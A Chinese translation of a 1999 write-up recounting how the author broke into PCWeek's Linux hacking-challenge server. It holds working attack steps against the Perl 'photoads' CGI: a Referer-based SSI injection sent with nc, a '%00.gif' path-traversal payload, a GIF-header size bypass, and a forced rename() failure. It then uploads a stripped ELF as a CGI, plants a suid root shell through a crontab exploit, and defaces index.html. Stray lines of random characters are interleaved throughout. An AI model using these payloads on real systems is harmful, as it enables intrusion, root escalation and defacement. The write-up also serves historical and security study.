JFS侵入PCWEEK-LINUX主機的詳細過程

譯者注：PCWeek-Linux 主機是著名電腦雜志 PCWeek 為了測試 WEB 服務器 IIS（NT平臺）
和 Apache（Linux平臺）的安全性，提供給黑客/駭客攻擊的兩臺主機之一。另一臺主機安裝
的是 IIS（NT平臺）。詳細情況請訪問網站：http://www.hackpcweek.com/。
0 C+ u( Q! n4 O4 P  W% Z# }

3 q6 n* O* T# e- l6 f5 U首先要進行的當然是——收集遠端主機信息：打開的端口和提供的網絡服務等。經過掃
& ^, v! F5 u# t0 B描后發(fā)現大多數端口都被過濾掉了，原因可能是安裝了防火墻或設置了 TCP-Wrapper 。所
* p2 L/ r2 M0 m7 e, Y& [以我們只能從 HTTP 服務器著手了。
5 d2 w  U3 T/ G/ ?9 m
& P% ~( a" ?, Y& q- b$ n6 l2 n) @* a# olemming:~# telnet securelinux.hackpcweek.com 80
3 z" o9 O$ l6 a$ R/ n$ CTrying 208.184.64.170...
: `# K/ T0 k  A* I/ g8 x6 @$ CConnected to securelinux.hackpcweek.com.
* }$ w; t/ s7 h* jEscape character is '^]'.
POST X HTTP/1.0

HTTP/1.1 400 Bad Request
Date: Fri, 24 Sep 1999 23:42:15 GMT
3 t6 ^3 w: L5 B+ S" U6 t7 J) L3 y. UServer: Apache/1.3.6 (Unix) (Red Hat/Linux)
(...)
Connection closed by foreign host.
lemming:~#
1 J( p- G$ }. ]
" W6 m* u$ Z/ b9 Z( S4 u/ S( J1 n嗯，服務器操作系統(tǒng)是 Red Hat，WEB服務器是 Apache/1.3.6。從網頁上可知服務器安
裝了 mod_perl，但只有一個 fingerprint 功能，對我們沒有什么用處。
- i. }# _. `& V% j+ tApache 1.3.6 本身沒有包含任何可供遠端用戶使用的CGI程序，但我們不清楚Red Hat
的發(fā)行版本中是否有，所以我們進行了一些測試（test-cgi, wwwboard, count.cgi等）。
結果令人失望。于是我們嘗試找出網站的結構。經過對該網站HTML頁的分析，終于找出
- V* K1 k& `9 ~: J5 e$ U了網站DocumentRoot下的目錄結構：

' \6 a% I& ~( S/
0 ]# W8 r. B) s& ~- c5 s7 F/cgi-bin
  u2 P2 u' M, b  k8 P/photoads/
/photoads/cgi-bin
3 p3 T' v6 x1 t
/ n9 G! s/ h/ |- V5 b很自然地，我們的眼光落在 photoads 這個安裝模塊上。該商用CGI包可在"http://
3 C0 k1 ~# k& X# A! E5 Wwww.hoffoce.com"找到，價格為$149，包括供檢查和修改用的PERL源代碼。
  ~' c) l/ b7 U; W我們找到一個朋友，了解和掌握 photoads 在 Linux 平臺上的安裝情況，從而大致清楚
: m7 A, H; x: |# u6 A運行在該主機上的 photoads。
檢查了缺省安裝的文件后，我們發(fā)現可以取得所有用戶名及其口令的數據庫（http://
securelinux.hackpcweek.com/photoads/ads_data.pl），但當我們試圖訪問配置文件
5 B  X1 c: B  i$ T7 i* }/photoads/cgi-bin/photo_cfg.pl 時，服務器的設置拒絕了這個請求。
通過 /photoads/cgi-bin/env.cgi，我們可以知道該服務器的許多詳細情況，如
$ R! f1 h; g; @DocumentRoot 在文件系統(tǒng)的位置（/home/httpd/html），運行 Apache 服務器的用戶（
* D2 `$ i/ z2 M* D; N( K, w* Bnobody）等。
現在，開始尋找漏洞的第一步，我們嘗試尋找是否存在 SSI 或 mod_perl 嵌入 HTML
命令的漏洞，如：
- P$ ~0 d7 q* h; H3 a0 L
, |7 X$ ?# P+ m2 E<!--#include file="..."--> for SSI
<!--#perl ...--> for mod_perl
2 D! W6 t- j" N4 k, i- x1 y
) ~8 I  J. d6 u) n: K4 v但腳本中的匹配表達式卻在許多輸入域上過濾此類輸入。不過與此同時我們卻發(fā)現有一
個用戶賦值的變量在轉換成 HTML 代碼前，并沒有檢查其值的合法性。我們可以通過它將命
令嵌入到由服務器端解析的 HTML 代碼中：

0 s! ^' }9 v$ u+ v  Q1 Q3 Y在 post.cgi，行 36：
2 D7 v2 Y6 b1 V5 e1 t9 |0 v. wprint "you are trying to post an AD from another URL:<b> $ENV{'HTTP_REFERER'}\n";
# J& g+ P0 y' y1 w; ^3 J$ B$ R  b
$ENV{'HTTP_REFERER'}是一個用戶賦值的變量，我們可以通過它將任何 HTML 嵌入到代
碼中。
; {" R- p& ]3 l6 ~; q請閱讀我們提供的文件 getit.ssi 和 getit.mod_perl。
在命令行下使用這些文件如下：
# A2 M, U% B5 v! A2 H
lemming:~# cat getit.ssi | nc securelinux.hackpcweek.com 80
) i7 Z' i  u% a& d0 m: M
' k0 D( l+ o2 |2 s- k6 F+ C但不幸的是，該主機的配置并不允許 SSI 或 mod_perl，所以我們無法利用這個方法侵
6 ?& R" J: U4 G8 O/ l2 x+ J入系統(tǒng)。
7 W: I# c4 n: T+ ~8 I1 V7 N
因此我們決定在CGI腳本中尋找缺口。在PERL腳本中許多漏洞往往出現在 open()、
: Y, D% l! s) k4 D2 `- ?system() 或 `` 等調用中，前一個允許讀/寫/執(zhí)行，而后兩個允許執(zhí)行。
: }+ ^3 I9 ^& n5 z8 c/ S雖然在該主機找不到后兩種調用，但我們卻發(fā)現了一些 open() 調用：

! u8 q3 s) \- {4 b$ `4 hlemming:~/photoads/cgi-bin# grep 'open.*(.*)' *cgi | more
1 Q( Q$ Q3 s0 d- C
advisory.cgi: open (DATA, "$BaseDir/$DataFile");
- d$ W, `9 q- N7 zedit.cgi: open (DATA, ">$BaseDir/$DataFile");
edit.cgi: open(MAIL, "|$mailprog -t") || die "Can't open $mailprog!\n";
) P4 @1 i7 N2 f+ i# o. D9 Vphoto.cgi: open(ULFD,">$write_file") || die show_upload_failed("$write_file $!");
# K  S0 W0 E- K& \1 E2 gphoto.cgi: open ( FILE, $filename );
(...)

, d; M6 e2 l6 t2 x! l6 s$BaseDir 和 $DataFile 兩個變量是在配置文件中定義，且不能在運行時修改，無法被
我們利用。
但其余兩個就……
( u7 b( U# t  y/ j" F# m
2 |2 j( x- k) F! x8 s在 photo.cgi，行 132：
& v% ?' ]6 }. s, n- K$write_file = $Upload_Dir.$filename;
* s0 t$ f9 ?" [5 y' b. h' Q
open(ULFD,">$write_file") || die show_upload_failed("$write_file $!");
( Z7 N8 L/ Z2 u8 y* c! jprint ULFD $UPLOAD{'FILE_CONTENT'};
$ _$ r* [% x/ b( \9 \8 m0 aclose(ULFD);

因此，如果我們可以修改 $write_file 變量，就可以寫文件系統(tǒng)中的任何文件。
7 h: z" q! p' V5 R0 W% r$write_file 變量來自：
( v2 H. q) @+ r3 B
$write_file = $Upload_Dir.$filename;
2 F" z& S+ q/ R8 }) i% ~! O/ H
6 ]% C, w# \9 p' ?, Q. E# a其中，$Upload_Dir 在配置文件中定義，我們無法修改，但 $filename 變量又如何呢？
, s/ t. j$ C6 G3 a$ `3 U" [+ b
8 F6 Y: ~; z8 l1 ^, ]' p- i在 photo.cgi，行 226：
if( !$UPLOAD{'FILE_NAME'} ) { show_file_not_found(); }
/ |% p1 B- Q, R. h* j
$filename = lc($UPLOAD{'FILE_NAME'});
$filename =~ s/.+\\([^\\]+)$|.+\/([^\/]+)$/\1/;

if ($filename =~ m/gif/) {
$type = '.gif';
" h, @2 e0 x" o! Z5 e}elsif ($filename =~ m/jpg/) {
$type = '.jpg';
/ _2 u: G+ L! Y4 q4 J" A}else{
{&Not_Valid_Image}
}

由此可知，該變量來自從提交表格的變量組分解出來的 $UPLOAD{'FILE_NAME'}，而且必
須經過匹配表達式過濾，因此我們不能用"../../../../../../../../etc/passwd"格式來取
得任何文件。匹配表達式為：
' c% p- P5 k4 i* O$ T' N8 f3 s% P
$filename =~ s/.+\\([^\\]+)$|.+\/([^\/]+)$/\1/;

我們看到，如 $filename 與該表達式匹配，則返回ASCII碼1（SOH）。同時，變量還必
須包含"gif"或"jpg"，以通過 Not_Valid_Image 過濾器。
( K0 T! z$ {# e# g6 `$ y8 R經過多次嘗試，以及從 Phrack 的關于PERL CGI安全性文章的幫助，我們發(fā)現以下格式

/jfs/\../../../../../../../export/www/htdocs/index.html%00.gif

- B$ T4 N& H! m# _. W8 X% L可以成功修改WEB服務器根目錄下的index.html文件。:-)
然而，為了上載文件，我們仍須繞過更多的腳本代碼。我們發(fā)現無法通過POST方法發(fā)送
包含上述內容的表格（無法轉換%00），唯一的方法只能是GET。
在 photo.cgi ，行 256，會檢查被上載文件的內容是否符合圖像定義（寬/長/大?。?font class="jammer">, o" N& s4 k0 `2 L+ P' L( |( f
（記住，photo.cgi 是被當作某個AD上載圖像的一個方法）。如果不符合這些細節(jié)，腳本將
% F3 S6 q8 m& I! a4 e" H. ]刪除該上載文件。這當然不是我們所希望的！
7 A9 Q: |1 q7 {6 LPCWeek 網站配置文件將 Imagesize 設為 0，所以我們可以忽略該腳本中有關JPG部分，
而將主要精力集中在GIF上。

if ( substr ( $filename, -4, 4 ) eq ".gif" ) {
8 u; d& M0 L( D( u/ i7 F. y4 s( aopen ( FILE, $filename );
6 E3 |1 ~: L# z+ l$ b8 zmy $head;
8 E9 G8 k9 R7 M2 [0 g5 N- dmy $gHeadFmt = "A6vvb8CC";
- a, S8 u5 J& i  d) t7 j9 wmy $pictDescFmt = "vvvvb8";
& u9 j9 S  x2 f0 Yread FILE, $head, 13;
(my $GIF8xa, $width, $height, my $resFlags, my $bgColor, my $w2h) = unpack $gHeadFmt, $head;
  ~* `" X0 z6 W& y, rclose FILE;
$PhotoWidth = $width;
$PhotoHeight = $height;
$PhotoSize = $size;
return;
, I( \3 W, B& @4 l}

在 photo.cgi，行 140：
/ o1 ?3 j8 q" q
7 J1 I; Q, c# U7 x2 g& Yif (($PhotoWidth eq "") || ($PhotoWidth > '700')) {
{&Not_Valid_Image}
}
+ C* t( q# Z5 f- L+ W, O2 O, L
# u& N% U4 U( a8 m' N8 j* cif ($PhotoWidth > $ImgWidth || $PhotoHeight > $ImgHeight) {
{&Height_Width}
1 R3 F( n6 S% L7 p9 @}

由上可知，$PhotoWidth不能大于700，不能為空，且不能大于 $ImgWidth（缺省為350）
。
0 d4 o" Q9 }7 \所以我們使 $PhotoWidth!="" 且 $Photowidth<350 即可。
# T+ @( V; o0 T% E) x對于 $PhotoHeight，則必須小于 $ImgHeight（缺省為250）。
7 y( _7 D( `# w* G7 D, n. c9 e6 z綜合以上要求，我們可以得到一個可以使用的數據：$PhotoWidth==$PhotoHeight==0。
研究提取該值的腳本后，我們唯一要做的就是將文件的第6至第9字節(jié)的值置為 ASCII 碼 0
（NUL）。
6 j/ a& A: l8 P; L/ t  W. _) L在確保 FILE_CONTENT（文件內容）符合以上所有要求后，我們又在以下代碼遇到了另一
, U8 c! K; R; v個問題：
* Q* _- E% _) |. R" P
chmod 0755, $Upload_Dir.$filename;
$newname = $AdNum;
" |; B1 z7 X' r$ xrename("$write_file", "$Upload_Dir/$newname");

( H' ]3 T$ A( hShow_Upload_Success($write_file);

哇！文件將被改名/移動（這可是我們絕對不希望的?。?br /> 6 ]# Y' @' c& F+ `: w* ]" E查找 $AdNum 變量的最終處理過程，我們發(fā)現它只能包含數字：
, {# m$ G6 x' P. X
$UPLOAD{'AdNum'} =~ tr/0-9//cd;
$UPLOAD{'Password'} =~ tr/a-zA-Z0-9!+&#%$@*//cd;
$AdNum = $UPLOAD{'AdNum'};
3 ~$ Y& \9 {% S
0 v/ x# [1 f  m, [) B3 s( t9 ?: M; }其余的字符將被刪除。因此我們不能直接應用"../../../"這種方法。
那么，應該怎樣做呢？我們看到 rename() 函數需要兩個參數：舊的路徑和新的路徑。
哈哈，在函數過程中沒有錯誤檢查！當函數出錯后將跳到下一行繼續(xù)執(zhí)行！那么如何才能使
* ~4 h( y2 o2 k+ ~* L' s該函數失敗呢？Linux 內核對文件名長度限制為1024字節(jié)。因此如能使腳本將文件改名時新
文件名超過1024字節(jié)長，即可繞過這個過濾器。
所以，下一步就是要向系統(tǒng)傳遞一個大約1024字節(jié)長的AD號碼。但由于腳本僅允許我們
* \% Q8 H! O# J* q0 K發(fā)送對應AD號碼已存在的圖片，而且由系統(tǒng)產生一個10^1024（10的1024次冪，即小數點前有
1024個數字——backend注）的AD號碼要花的時間對我們來說似乎太長了。;-)
我們又遇到另一個難題了！……

% L; R8 B# P" |2 [7 }3 S- U2 j' h我們發(fā)現輸入錯誤檢查函數可以幫助我們創(chuàng)建一個指定的AD號碼！瀏覽 edit.cgi 腳本
后，你也許就會想到：如果輸入是一個文件名+回車符+一個1024位的數字，會產生什么結果
8 d& u% J$ Y8 Q( g8 S' N; G6 _呢？;-)
請閱讀用于創(chuàng)建新AD值的程序文件 long.adnum。
+ ^: r4 Y$ T0 ^9 \* M8 w: R當成功繞過 $AdNum 的檢查后，我們就可以讓腳本創(chuàng)建/覆蓋用戶 nobody 有權寫的任何
文件，其中包含了我們所希望的東西（GIF頭部的NUL除外）。

現在就讓我們對該主機試一試這個方法。
嗯，so far so good（一切順利）。但當我們試圖讓腳本改寫 index.html 文件時無法
成功。:( 其中的原因可能是沒有覆蓋該文件的權限（該文件由root擁有）。


讓我們試一下是否還有其它入侵方法……

我們決定嘗試修改CGI程序，以使其按我們的意愿運行:)。這種方法還可以讓我們搜尋那
些“絕密”文件，然后拿出動賣。:)
1 }4 Z+ A, J1 S; x! d# v8 \* ^我們修改了“覆蓋”腳本，并讓其成功地覆蓋了一個CGI！:) 為了不覆蓋那些較為重要
的CGI（這是提高隱蔽性的聰明法子——backend注），最后我們選擇了 advisory.cgi（你知
道它有什么用嗎？:)）
現在，我們將要上載一個shell腳本，以便我們可以執(zhí)行一些命令。呵呵
# I. u8 K! p6 n# F) L5 t4 ^: A8 H2 x然而，這個以CGI方式運行的shell腳本必須符合以下格式：
; C6 X/ A6 B9 p1 _4 y
+ Y; u- R* u2 |( C- Q#!/bin/sh
echo "Content-type: text/html"
) g  {; ^/ N9 y3 p' G( Xfind / "*secret*" -print
1 R, S6 ?; o' T/ B; X6 _" m5 ^" Z8 o
5 g: h0 l9 I% [6 G4 F同時要記得，第6至第9字節(jié)必須為0或很小的值，以符合上面提及的大小定義……

( ^# ], N( `) n0 d& Y#!/bi\00\00\00\00n/sh
- k' J3 k1 l+ h( B& _) ^
: Q7 f+ A: s/ ~2 ~以上這種方法是行不通的，內核只會讀取前5個字節(jié)（#!/bi）內容并執(zhí)行。在該主機中
7 p& N" j. Y% j( l% ]我們無法只用三個字節(jié)去獲得一個shell。又遇到難題了！:(

讓我們看一下ELF（Linux缺省可執(zhí)行類型）二進制文件格式，就會發(fā)現那些位置字節(jié)的
內容均為0x00。:) Yohoo :)
解決了這個問題后，現在我們需要將這個ELF可執(zhí)行文件上載到遠端服務器中。注意，文
- M9 B2 j# Z" a* ^! S件內容必須經過編碼，因為我們已知道只能通過GET方法上載，而不是POST。因此還要考慮到
URI的最大長度。Apache 服務器上URI最大長度設為8190字節(jié)。別忘了，我們還有一個很長的
1024字節(jié)的AD號碼，所以經編碼后的ELF文件長度限制為大約7000字節(jié)。

以下這個程序：

4 A' x/ P  }; V9 G# V$ `+ U9 q7 Tlemming:~/pcweek/hack/POST# cat fin.c
#include <stdio.h>
  r6 r  w" F8 X9 V, Lmain()
{
& x4 t: X% g( \1 c9 R" cprintf("Content-type: text/html\n\n\r");
- m6 V8 n' ~' lfflush(stdout);
1 y: |& r/ B0 c2 w$ Pexeclp("/usr/bin/find","find","/",0);
3 E: {8 R0 v( t}
) B* G2 F+ E! o( U  J+ Q
( N% f7 S) O! m編譯后：
! l1 u8 M/ B$ z, Y
lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 4280 Sep 25 04:18 fin*
; V: f0 p6 J. N0 u
優(yōu)化（清除symbols）后：

lemming:~/pcweek/hack/POST# strip fin
lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 2812 Sep 25 04:18 fin*
lemming:~/pcweek/hack/POST#
# k: j. a9 L. ?, Y) c9 ?
+ _2 a: ^! f' ]& KURL編碼后：
7 B* W' L$ G. `
9 j# h9 P- n" p/ x5 j# u  S; y7 Blemming:~/pcweek/hack/POST# ./to_url < fin > fin.url
; [3 @0 K+ I* Z/ g/ _) |lemming:~/pcweek/hack/POST# ls -l fin.url
-rw-r--r-- 1 root root 7602 Sep 25 04:20 fin.url

9 e. p8 R6 h  i& t3 P; u這個文件大小超過了限制值。:(
$ n( {0 _2 h- B" e% j6 v我們只能自行編輯二進制文件以盡量減小文件體積。這可不是一件輕松的工作，但卻有
0 U: l0 h6 m1 i& f$ e! s$ ~0 }' E3 ^: `效：

lemming:~/pcweek/hack/POST# joe fin
lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 1693 Sep 25 04:22 fin*
lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url
lemming:~/pcweek/hack/POST# ls -l fin.url
1 _2 j; P, ^9 o( E3 O) f2 T-rw-r--r-- 1 root root 4535 Sep 25 04:22 fin.url
lemming:~/pcweek/hack/POST#
2 y+ {! a1 B8 N4 h8 P( x
: z; x' m7 T; X' I6 ~4 b6 G請閱讀 get.sec.find文件，還有 to_url 腳本和用來運行一些基本命令的*.c文件。
3 t/ x$ l4 P1 i6 E
現在，將這個CGI上載到服務器，再用瀏覽器訪問它，如：
; Z8 {. C6 L5 D8 q4 [/ N6 \7 V; i* |
wget http://securelinux.hackpcweek.com/photoads/cgi-bin/advisory.cgi

服務器返回的結果相當于在服務器上執(zhí)行 find / 命令。:)
- v( x- t) q8 n: o. ~! c; N3 @" W但我們在該服務器中找不到任何“絕密”文件，或許是nobody用戶無權訪問的緣故。:(
我們嘗試了更多的命令搜索，如ls等，但仍無法找到它們的蹤影。
[我懷疑這些文件是否真的保存在該服務器上！]
* m, Q# W$ Z0 i0 }3 O4 A
8 H* \: Y6 x. m
2 B# s) Q' D1 @+ R好了，現在是獲取 root 權限的時候了。利用最新發(fā)現的 Red Hat crontab 漏洞就可以
- z5 i. |9 U+ c0 q% M( {0 x( A* [輕松做到這一點。該漏洞詳情請參閱 Bugtraq 或 securityfocus 上相關文檔。
我們修改了源程序以適應自己的需要，因為我們不需交互式 root shell，而是創(chuàng)建一個
" _2 L: S7 s2 d, K. _0 L; x8 m* E( }用戶 nobody 可訪問的 suid root shell，如 /tmp/.bs。我們再次上載該CGI，并運行它，
7 k, f$ V  o3 e2 @2 W2 g觀察其運行結果。
9 T) ^  [+ `5 D: E我們制作了執(zhí)行"ls /tmp"命令的CGI，執(zhí)行后確認我們已擁有了一個 suid root shell。
另外，我們還上載了一個文件 /tmp/xx，用于修改 index.html 文件。
2 O* [* Q6 d1 Z8 i8 @
) _" x5 M0 z: l6 C* L4 dexeclp("/tmp/.bs","ls","-c","cp /tmp/xx /home/httpd/html/index.html",0);
( e! `) \3 ]7 o+ H3 l  ^( X+ c
好了。游戲結束！:)
總共花費了大約20個小時，還算不錯！呵呵。:)

& C: `! j& {/ M3 L* n! w